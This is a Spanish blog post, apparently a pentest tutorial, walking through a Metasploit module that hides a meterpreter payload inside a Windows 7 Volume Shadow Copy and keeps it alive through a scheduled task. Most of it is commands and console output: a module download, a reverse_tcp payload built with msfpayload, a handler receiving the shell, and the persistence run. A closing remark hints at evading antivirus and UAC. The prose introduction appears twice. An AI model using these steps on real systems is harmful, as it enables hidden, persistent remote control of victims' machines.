En Windows el servicio Volume Shadow Copy (VSS) crea copias de seguridad (snapshots) cada vez que hay un cambio en el sistema para poder tener disponible y actualizado un punto de restauración. Esta información de backup se almacena en volúmenes "ocultos" cuyas peculiaridades pueden ser aprovechadas con fines maliciosos, como por ejemplo ocultar artefactos de malware...
Recientemente se ha desarrollado un módulo de Metasploit para crear un payload persistente en un VSS en Windows 7. Se basa en el script VSSOwn de Tim Tomes y Mark Baggett y lo que hace es subir un ejecutable, crear un backup (VSS), borrarlo y ejecutar \?\GLOBALROOT\/HarddiskVolumeShadowCopy\d{1,3}/%TEMP%\executable.
La persistencia se consigue mediante una tarea programada (SCHTASK) o en una clave AUTORUN.
De momento para utilizarlo lo podemos descargar de Github:
Para probar generaremos un payload de prueba:
A continuación ejecutaremos la consola de Metasploit y recargaremos los módulos:
Lo siguiente será obtener una sesión meterpreter. Hay que tener en cuenta que nuestro nuevo módulo es de post-explotación y que necesitamos que el usuario de la sesión tenga privilegios administrativos. En caso contrario tendremos que hacer uso de otro módulo para la escalación de privilegios local.
Ahora dejaremos en background la sesión para finalmente ejecutar el exploit:
Y ya lo tenemos.
pd. Si habéis seguido estos pasos ya os habréis dado cuenta: en el momento de su ejecución el motor de análisis en tiempo real del AV detectará el payload. Para evitarlo se podría montar el volumen oculto (VSC) como si fuera una unidad de red o seguir otras técnicas. Además necesitarás desactivar/evadir UAC...
Recientemente se ha desarrollado un módulo de Metasploit para crear un payload persistente en un VSS en Windows 7. Se basa en el script VSSOwn de Tim Tomes y Mark Baggett y lo que hace es subir un ejecutable, crear un backup (VSS), borrarlo y ejecutar \?\GLOBALROOT\/HarddiskVolumeShadowCopy\d{1,3}/%TEMP%\executable.
La persistencia se consigue mediante una tarea programada (SCHTASK) o en una clave AUTORUN.
De momento para utilizarlo lo podemos descargar de Github:
root@kali:~# wget https://raw.github.com/MrXors/metasploit-framework/f345414832fe0895e6ed89e70eb57f72a103aeaf/modules/exploits/windows/local/vss_persistence.rb
root@kali:~# mv vss_persistence.rb /usr/share/metasploit-framework/modules/post/windows/manage/
Para probar generaremos un payload de prueba:
root@kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.177.128 LPORT=80 X > payload_prueba.exe
A continuación ejecutaremos la consola de Metasploit y recargaremos los módulos:
root@kali:~/# msfconsole -L
msf > reload_all
[*] Reloading modules from all module paths...
######## #
################# #
###################### #
######################### #
############################
##############################
###############################
###############################
##############################
# ######## #
## ### #### ##
### ###
#### ###
#### ########## ####
####################### ####
#################### ####
################## ####
############ ##
######## ###
######### #####
############ ######
######## #########
##### ########
### #########
###### ############
#######################
# # ### # # ##
########################
## ## ## ##
http://metasploit.pro
Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- type 'go_pro' to launch it now.
=[ metasploit v4.7.1-2013100901 [core:4.7 api:1.0]
+ -- --=[ 1207 exploits - 728 auxiliary - 202 post
+ -- --=[ 314 payloads - 30 encoders - 8 nops
Lo siguiente será obtener una sesión meterpreter. Hay que tener en cuenta que nuestro nuevo módulo es de post-explotación y que necesitamos que el usuario de la sesión tenga privilegios administrativos. En caso contrario tendremos que hacer uso de otro módulo para la escalación de privilegios local.
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 80
LPORT => 80
msf exploit(handler) > set LHOST 192.168.177.128
LHOST => 192.168.177.128
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.177.128:80
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.177.1
[*] Meterpreter session 1 opened (192.168.177.128:80 -> 192.168.177.1:4222) at 2013-10-16 06:07:56 -0100
meterpreter > getuid
Server username: PANDORA\vmotos
meterpreter > sysinfo
Computer : PC102-23DRW
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64 (Current Process is WOW64)
System Language : es_ES
Meterpreter : x86/win32
Ahora dejaremos en background la sesión para finalmente ejecutar el exploit:
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
2 meterpreter x86/win32 PANDORA\vmotos @ PC102-23DRW 192.168.177.128:80 -> 192.168.177.1:5350 (192.168.177.1)
msf exploit(handler) > use post/windows/manage/vss_persistence
msf exploit(vss_persistence) > show options
Module options (exploit/windows/manage/vss_persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
DELAY 1 yes Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.
EXECUTE true yes Run the EXE on the remote system.
RPATH no Path on remote system to place Executable. Example: \\Windows\\Temp (DO NOT USE C:\ in your RPATH!)
RUNKEY false yes Create AutoRun Key for the EXE
SCHTASK false yes Create a Scheduled Task for the EXE.
SESSION yes The session to run this module on.
VOLUME C:\ yes Volume to make a copy of.
Exploit target:
Id Name
-- ----
0 Windows 7
msf exploit(vss_persistence) > set SCHTASK true
SCHTASK => true
msf exploit(vss_persistence) > set session 1
session => 1
msf exploit(vss_persistence) > exploit
[*] Started reverse handler on 192.168.177.128:4444
[*] Checking requirements...
[*] Starting Volume Shadow Service...
[*] Volume Shadow Copy service not running. Starting it now...
[*] Volume Shadow Copy started successfully.
[*] Uploading payload...
[*] Creating Shadow Volume Copy...
[*] ShadowCopy created successfully
[*] Finding the Shadow Copy Volume...
[*] Deleting malware...
[*] Executing \Windows\Temp\svhost69.exe...
[*] Sending stage (770052 bytes) to 192.168.177.128
[*] Creating Scheduled Task...
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.134:4917) at 2013-10-16 06:15:32 -0100
Y ya lo tenemos.
pd. Si habéis seguido estos pasos ya os habréis dado cuenta: en el momento de su ejecución el motor de análisis en tiempo real del AV detectará el payload. Para evitarlo se podría montar el volumen oculto (VSC) como si fuera una unidad de red o seguir otras técnicas. Además necesitarás desactivar/evadir UAC...
Comentarios
Publicar un comentario